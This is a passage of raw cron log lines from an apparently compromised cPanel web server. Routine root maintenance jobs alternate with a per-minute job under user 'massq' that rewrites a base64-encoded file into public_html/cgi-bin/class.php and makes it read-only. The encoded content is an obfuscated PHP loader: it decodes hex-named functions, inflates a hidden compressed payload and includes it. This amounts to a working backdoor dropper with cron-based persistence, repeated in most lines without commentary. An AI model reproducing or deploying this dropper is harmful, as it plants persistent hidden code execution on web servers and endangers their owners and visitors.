QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:27:01 server CROND[12239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:27:01 server CROND[12240]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 15:28:01 server CROND[12301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:29:01 server CROND[12358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:30:01 server CROND[12424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 15:30:01 server CROND[12425]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 15:30:01 server CROND[12427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:30:01 server CROND[12426]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 15:31:01 server CROND[12654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:32:01 server CROND[12719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:33:01 server CROND[12782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:34:01 server CROND[12846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:35:01 server CROND[12916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 15:35:01 server CROND[12915]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 15:35:01 server CROND[12919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:35:01 server CROND[12920]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 15:35:01 server CROND[12923]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 15:36:01 server CROND[13150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:37:01 server CROND[13214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:38:01 server CROND[13279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:39:01 server CROND[13349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:39:01 server CROND[13350]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 15:40:01 server CROND[13421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 15:40:01 server CROND[13422]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 15:40:01 server CROND[13423]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 15:40:01 server CROND[13424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 